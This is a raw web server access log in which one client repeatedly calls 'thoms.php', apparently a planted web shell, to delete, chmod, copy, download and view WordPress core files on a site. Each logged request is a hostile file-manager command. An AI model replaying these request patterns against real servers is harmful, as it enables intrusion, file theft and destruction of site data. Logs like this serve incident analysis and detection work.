45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 200 22288 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?del=class-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?chmod=default-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?del=class-wp-term.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59346 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhttps-migration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhttps-migration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Flink-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Flink-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 200 12304 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?del=fonts&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=fonts&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:31 -0400] "GET /thoms.php?del=IXR&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=IXR&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 200 15695 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 200 14313 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?del=js&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59409 "http://163.245.207.76:443/thoms.php?del=js&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 200 19709 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 200 14104 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 200 14107 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:32 -0400] "GET /thoms.php?del=class-avif-info.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php HTTP/1.1" 200 12784 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-requests-hooks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /big-wife.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?del=https-detection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59350 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:33 -0400] "GET /thoms.php?dl=ms-blogs.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 200 17356 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?dl=class-wp-error.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /big-wife.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?chmod=general-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 200 12143 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?dl=cron.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:34 -0400] "GET /thoms.php?del=theme-compat&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11852 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 200 19038 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 200 13457 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?chmod=class-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 200 25557 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:35 -0400] "GET /thoms.php?del=class-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59363 "http://163.245.207.76:443/thoms.php?del=class-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 200 12307 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 200 12753 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcache-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcache-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 200 13463 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 200 14342 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?chmod=html-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /big-wife.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11835 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
